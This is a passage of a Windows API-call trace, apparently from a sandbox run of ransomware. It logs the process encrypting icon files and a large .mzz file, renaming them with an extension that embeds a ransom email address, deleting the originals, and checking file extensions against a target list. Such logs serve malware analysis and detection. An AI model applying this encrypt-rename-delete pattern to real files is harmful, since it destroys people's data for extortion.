	[0072.130] WriteFile (in: hFile=0x2bc, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.130] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.130] CloseHandle (hObject=0x2bc) returned 1
	[0072.131] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.131] SetEndOfFile (hFile=0x364) returned 1
	[0072.132] CloseHandle (hObject=0x364) returned 1
	[0072.132] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.132] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1
	[0072.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.134] lstrlenW (lpString=".doc") returned 4
	[0072.134] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.134] lstrlenW (lpString=".docx") returned 5
	[0072.134] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1
	[0072.134] lstrlenW (lpString=".pdf") returned 4
	[0072.134] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.134] lstrlenW (lpString=".xls") returned 4
	[0072.134] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.134] lstrlenW (lpString=".xlsx") returned 5
	[0072.134] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1
	[0072.134] lstrlenW (lpString=".ppt") returned 4
	[0072.134] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.134] lstrlenW (lpString=".zip") returned 4
	[0072.134] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.134] lstrlenW (lpString=".rar") returned 4
	[0072.134] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.134] lstrlenW (lpString=".bz2") returned 4
	[0072.134] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.134] lstrlenW (lpString=".7z") returned 3
	[0072.134] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.134] lstrlenW (lpString=".dbf") returned 4
	[0072.134] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.135] lstrlenW (lpString=".1cd") returned 4
	[0072.135] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.135] lstrlenW (lpString=".jpg") returned 4
	[0072.135] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.135] lstrlenW (lpString=".doc") returned 4
	[0072.135] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.135] lstrlenW (lpString=".docx") returned 5
	[0072.135] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1
	[0072.135] lstrlenW (lpString=".pdf") returned 4
	[0072.135] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.135] lstrlenW (lpString=".xls") returned 4
	[0072.135] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.135] lstrlenW (lpString=".xlsx") returned 5
	[0072.135] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1
	[0072.135] lstrlenW (lpString=".ppt") returned 4
	[0072.135] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.135] lstrlenW (lpString=".zip") returned 4
	[0072.135] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.135] lstrlenW (lpString=".rar") returned 4
	[0072.135] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.135] lstrlenW (lpString=".bz2") returned 4
	[0072.135] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.135] lstrlenW (lpString=".7z") returned 3
	[0072.135] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.135] lstrlenW (lpString=".dbf") returned 4
	[0072.135] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.135] lstrlenW (lpString=".1cd") returned 4
	[0072.135] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0072.136] lstrlenW (lpString=".jpg") returned 4
	[0072.136] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.136] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.136] lstrlenW (lpString="Save.ico") returned 8
	[0072.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.137] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1150) returned 1
	[0072.137] CloseHandle (hObject=0x2bc) returned 1
	[0072.137] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80
	[0072.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.140] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.140] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.140] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.140] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0072.165] GetLastError () returned 0x0
	[0072.165] ReadFile (in: hFile=0x35c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0072.179] WriteFile (in: hFile=0x300, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x480, lpOverlapped=0x0) returned 1
	[0072.181] ReadFile (in: hFile=0x35c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.181] WriteFile (in: hFile=0x300, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0072.181] SetEndOfFile (hFile=0x300) returned 1
	[0072.181] CloseHandle (hObject=0x300) returned 1
	[0072.182] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.182] SetEndOfFile (hFile=0x35c) returned 1
	[0072.183] CloseHandle (hObject=0x35c) returned 1
	[0072.183] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.183] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1
	[0072.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.184] lstrlenW (lpString=".doc") returned 4
	[0072.184] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.184] lstrlenW (lpString=".docx") returned 5
	[0072.184] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1
	[0072.184] lstrlenW (lpString=".pdf") returned 4
	[0072.184] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.184] lstrlenW (lpString=".xls") returned 4
	[0072.184] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.184] lstrlenW (lpString=".xlsx") returned 5
	[0072.184] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1
	[0072.184] lstrlenW (lpString=".ppt") returned 4
	[0072.184] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.184] lstrlenW (lpString=".zip") returned 4
	[0072.184] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.184] lstrlenW (lpString=".rar") returned 4
	[0072.184] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.184] lstrlenW (lpString=".bz2") returned 4
	[0072.184] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.184] lstrlenW (lpString=".7z") returned 3
	[0072.184] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.184] lstrlenW (lpString=".dbf") returned 4
	[0072.184] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.184] lstrlenW (lpString=".1cd") returned 4
	[0072.184] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.185] lstrlenW (lpString=".jpg") returned 4
	[0072.185] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.185] lstrlenW (lpString=".doc") returned 4
	[0072.185] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.185] lstrlenW (lpString=".docx") returned 5
	[0072.185] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1
	[0072.185] lstrlenW (lpString=".pdf") returned 4
	[0072.185] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.185] lstrlenW (lpString=".xls") returned 4
	[0072.185] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.185] lstrlenW (lpString=".xlsx") returned 5
	[0072.185] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1
	[0072.185] lstrlenW (lpString=".ppt") returned 4
	[0072.185] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.185] lstrlenW (lpString=".zip") returned 4
	[0072.185] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.185] lstrlenW (lpString=".rar") returned 4
	[0072.185] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.185] lstrlenW (lpString=".bz2") returned 4
	[0072.185] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.185] lstrlenW (lpString=".7z") returned 3
	[0072.185] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.185] lstrlenW (lpString=".dbf") returned 4
	[0072.185] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.185] lstrlenW (lpString=".1cd") returned 4
	[0072.185] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0072.185] lstrlenW (lpString=".jpg") returned 4
	[0072.185] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.186] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.186] lstrlenW (lpString="SysReqMet.ico") returned 13
	[0072.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.186] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1150) returned 1
	[0072.186] CloseHandle (hObject=0x35c) returned 1
	[0072.186] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80
	[0072.186] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.186] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.186] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0072.187] GetLastError () returned 0x0
	[0072.187] ReadFile (in: hFile=0x35c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0072.211] WriteFile (in: hFile=0x300, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x480, lpOverlapped=0x0) returned 1
	[0072.212] ReadFile (in: hFile=0x35c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.212] WriteFile (in: hFile=0x300, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xee, lpOverlapped=0x0) returned 1
	[0072.212] SetEndOfFile (hFile=0x300) returned 1
	[0072.213] CloseHandle (hObject=0x300) returned 1
	[0072.213] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.213] SetEndOfFile (hFile=0x35c) returned 1
	[0072.214] CloseHandle (hObject=0x35c) returned 1
	[0072.214] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.214] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1
	[0072.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.215] lstrlenW (lpString=".doc") returned 4
	[0072.215] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.215] lstrlenW (lpString=".docx") returned 5
	[0072.215] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0072.215] lstrlenW (lpString=".pdf") returned 4
	[0072.215] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.215] lstrlenW (lpString=".xls") returned 4
	[0072.215] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.215] lstrlenW (lpString=".xlsx") returned 5
	[0072.215] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0072.215] lstrlenW (lpString=".ppt") returned 4
	[0072.215] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.215] lstrlenW (lpString=".zip") returned 4
	[0072.215] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.215] lstrlenW (lpString=".rar") returned 4
	[0072.215] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.215] lstrlenW (lpString=".bz2") returned 4
	[0072.215] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.215] lstrlenW (lpString=".7z") returned 3
	[0072.215] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.215] lstrlenW (lpString=".dbf") returned 4
	[0072.215] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.215] lstrlenW (lpString=".1cd") returned 4
	[0072.215] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.216] lstrlenW (lpString=".jpg") returned 4
	[0072.216] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.216] lstrlenW (lpString=".doc") returned 4
	[0072.216] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.216] lstrlenW (lpString=".docx") returned 5
	[0072.216] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0072.216] lstrlenW (lpString=".pdf") returned 4
	[0072.216] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.216] lstrlenW (lpString=".xls") returned 4
	[0072.216] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.216] lstrlenW (lpString=".xlsx") returned 5
	[0072.216] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0072.216] lstrlenW (lpString=".ppt") returned 4
	[0072.216] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.216] lstrlenW (lpString=".zip") returned 4
	[0072.216] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.216] lstrlenW (lpString=".rar") returned 4
	[0072.216] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.216] lstrlenW (lpString=".bz2") returned 4
	[0072.216] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.216] lstrlenW (lpString=".7z") returned 3
	[0072.216] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.216] lstrlenW (lpString=".dbf") returned 4
	[0072.216] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.216] lstrlenW (lpString=".1cd") returned 4
	[0072.216] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0072.216] lstrlenW (lpString=".jpg") returned 4
	[0072.216] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.217] lstrcmpiW (lpString1=".mzz", lpString2=".Z9") returned -1
	[0072.217] lstrlenW (lpString="netfx_Core.mzz") returned 14
	[0072.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.217] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=181483595) returned 1
	[0072.217] CloseHandle (hObject=0x35c) returned 1
	[0072.217] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80
	[0072.217] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.217] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0072.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.218] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0x0) returned 1
	[0072.218] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.218] ReadFile (in: hFile=0x35c, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.723] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.723] ReadFile (in: hFile=0x35c, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.730] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0072.730] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.730] ReadFile (in: hFile=0x35c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.749] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.749] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x350fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fca8*=0xc0108, lpOverlapped=0x0) returned 1
	[0073.536] SetEndOfFile (hFile=0x35c) returned 1
	[0073.536] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e9b9d8
	[0073.541] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.541] WriteFile (in: hFile=0x35c, lpBuffer=0x3e9b9d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e9b9d8*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.542] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.542] WriteFile (in: hFile=0x35c, lpBuffer=0x3e9b9d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e9b9d8*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.543] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
